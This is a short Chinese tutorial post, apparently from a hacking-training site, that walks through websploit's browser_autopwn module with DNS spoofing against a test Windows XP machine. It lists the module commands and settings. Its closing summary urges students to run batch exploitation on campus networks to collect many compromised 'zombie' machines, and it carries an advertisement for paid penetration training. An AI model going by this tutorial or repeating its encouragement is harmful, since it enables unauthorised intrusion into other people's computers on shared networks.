学员渗透录十八 websploit溢出实战

学员渗透录十八 websploit溢出实战

作者：新月

第十八篇咯，这期是新月学员编写咯，大家换来围观把。

AD：学渗透找暗月，学代码审计找暗月。

以下是正文：

首先打开websploit，终端输入websploit：

输入 show modules 来看所有的模块：

我们看到有exploit/browser_autopwn这个模块，然后载入 use exploit/browser_autopwn

我们来看一下有什么要配置的  show options

Ifconfig看一下ip

配置一下  set interface eth0   set lhost 192.168.192.146

配置完成后运行run

要等几分钟才配置好 这里dnsspoof运行起来了

配置完毕：

用xp测试一下

ok成功

暗月总结：websploit一个实战溢出案例，webspoit 若内网批量溢出，效果是相当犀利，有条件的同学 在校园网试试，保证肉鸡多多。

最后很感谢新月给我们带来这样精彩的文章。